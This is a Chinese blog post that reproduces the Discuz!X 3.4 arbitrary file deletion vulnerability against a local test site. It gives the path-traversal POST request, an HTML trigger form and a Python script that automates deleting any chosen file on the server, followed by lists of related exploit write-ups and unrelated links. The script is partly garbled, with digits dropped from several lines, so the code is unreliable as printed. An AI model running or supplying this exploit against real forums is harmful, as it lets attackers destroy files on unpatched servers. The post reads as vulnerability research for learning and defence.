今天看下群里在讨论Discuz!X 3.4 任意文件删除漏洞,自己做了一些测试,记录一下过程。结尾附上自己编写的python脚本,自动化实现任意文件删除。

具体漏洞,请查看 https://paper.seebug.org/411/

0x01 环境搭建

  到官网下载Discuz 3.4版本,phpstudy 本机搭建,并注册账号。站点根目录新建111.txt,作为删除的目标文件。

Discuz 3.4下载链接:http://www.discuz.net/thread-3825961-1-1.html

0x02 环境搭建

  1、账号登录之后,点击设置,跳转到个人资料页面,查看页面源代码,获取formhash值

  2、提交请求,修改出生地

http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base

[post] birthprovince=../../../111.txt&profilesubmit=1&formhash=9945c60c

  3、构造表单,请求后文件删除

<form action="http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="9945c60c"/></p>
<input type="text" name="profilesubmit" value=""/></p>
<input type="submit" value="Submit" />
</from>

0X03 Python脚本

根据前面的步骤,写了一段Python脚本,代替手工操作,本机测试成功。。。好久没写脚本了,代码有点low,够用即可。。。

#!/usr/bin/env python
# -*- coding: utf- -*-
import requests
import re
import urllib2 '''
Discuz!X ≤3.4 任意文件删除漏洞
Write by Aaron
''' def get_cookie():
cookies={}
for line in raw_cookies.split(';'):
key,value=line.split('=',)
cookies[key]=value
return cookies
def get_formhash(url):
cookies=get_cookie()
testurl=url+"/home.php?mod=spacecp"
s=requests.get(testurl,cookies=cookies)
com = re.compile('<input type="hidden" name="formhash" value="(.*?)" />')
result = com.findall(s.text)
return result[]
def del_step1(url,filename):
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
geturl=url+"/home.php?mod=spacecp&ac=profile&op=base"
formhash=get_formhash(url)
payload ={'birthprovince':filename,"profilesubmit":,"formhash":formhash}
cookies=get_cookie()
r = requests.post(geturl,data=payload,headers=headers,cookies=cookies)
if r.content.find('parent.show_success')>:
print 'Step1 success!!!'
def del_step2(url):
geturl=url+"/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"
heads={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
formhash=get_formhash(url)
files ={'formhash':(None,formhash),'birthprovince':('1.jpg',open('1.jpg','rb'),'image/jpeg'),'profilesubmit':(None,'')}
cookies=get_cookie()
r=requests.post(geturl,files=files,headers=heads,cookies=cookies)
if r.text.find('parent.show_success')>:
print 'Step2 success!!!' if __name__ == '__main__':
#需要修改以下三个参数:
#、设置cookie
raw_cookies="G2pl_2132_sid=sKKQZK; G2pl_2132_saltkey=Sz3Zk9qK; G2pl_2132_lastvisit=1506772875; G2pl_2132_lastact=1506779386%09home.php%09spacecp; G2pl_2132_seccode=7.aa0407e77fa5c31c1b; G2pl_2132__refer=%252Fhome.php%253Fmod%253Dspacecp%2526ac%253Dprofile%2526op%253Dbase; G2pl_2132_ulastactivity=d085JjIjS5HiG3obxleJQuw0zNYpIN60OXJV0J6di%2B8aFmKQ4u6l; G2pl_2132_auth=86c5F09hGuaZuGNPSX7Pr7Oy4Mq2B39nSviv%2FRFC8vdn1Zjb9PibvU2fN4jJr9Hr7yVNf2vH9rIXrSLWhMZk; G2pl_2132_nofavfid=1; G2pl_2132_sendmail=1; G2pl_2132_noticeTitle=1"
#、设置删除的文件
filename="../../../111.txt"
#、设置url
url="http://127.0.0.1"
del_step1(url,filename)
del_step2(url)

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)的更多相关文章

  1. Discuz!X 3.4 前台任意文件删除漏洞复现

    Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/artic ...

  2. Discuz!X ≤3.4 任意文件删除漏洞

    Discuz!X ≤3.4 任意文件删除漏洞 简述 漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过. 漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复 漏洞原理分析 在 ...

  3. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

  4. 【研究】Discuz<3.4任意文件删除漏洞

    这里以Discuz3.2为例 关键字:Powered by Discuz! X3.2 时间有限,就不一一截图了,Discuz所有页面全在Discuz_X3.2_SC_UTF8/upload/目录下 利 ...

  5. 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  6. 【代码审计】XIAOCMS_后台database.php页面存在任意文件删除漏洞

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  7. 【代码审计】XYHCMS V3.5任意文件删除漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  8. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  9. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

随机推荐

  1. [hbase] HBase内置过滤器的一些总结

    http://blog.csdn.net/cnweike/article/details/42920547

  2. apt-get 命令加 autoclean clean autoremove 区别

    下面总结一下有关apt-get的常用但容易混淆的指令: apt-get autoclean:   www.2cto.com       如果你的硬盘空间不大的话,可以定期运行这个程序,将已经删除了的软 ...

  3. freetds 移植

    移植freetds主要是为了能够在linux下,使用C语言访问微软的sqlserver数据库. 参考连接 http://blog.csdn.net/neighbor1000/article/detai ...

  4. Apache Commons CLI

    简单的说,就是对命令的参数进行定义和解析的工具 -- 这里说的参数是我们常用的说法,而CLI里则是Option.Options,参数值(如果有)则是Option的arg(s). ## 为什么 那么,为 ...

  5. C++ 把枚举变量的名称,直接当字符串使用方法 字符串化符号 #

    #include <stdio.h> #include <typeinfo> #include <string> using namespace std; enum ...

  6. 从SQL查询分析器中读取EXCEL中的内容

    很早以前就用sql查询分析器来操作过EXCEL文件了. 由于对于excel公式并不是很了解,所以很多时候处理excel中的内容,常常是用sql语句来处理的.[什么样的人有什么样的办法吧 :)] 今又要 ...

  7. (转)DSound开发常用的几个结构

    WAVEFORMATEX WAVEFORMATEX { WORD wFormatTag; WORD nChannels; DWORD nSamplesPerSec; DWORD nAvgBytesPe ...

  8. (转)小议TCP的MSS(最大分段)以及MTU

    [前言]漫漫51长假,没有好的去处,只能每日上网消遣,某日逛到NBO灌水,见一帖曰:无法通过2514路由器上MSN(出口为ADSL线路,通过PPPoE)吾心想,ADSL---PPPoE,那肯定就是MT ...

  9. Toggle Checkboxes on/off

    You can write: $(document).ready(function() { $("#select-all-teammembers").click(function( ...

  10. RTC教程

    Tutorial: Get started with Rational Team Concert Getting Started with Jazz Source Control RTC入门教程及冲突 ...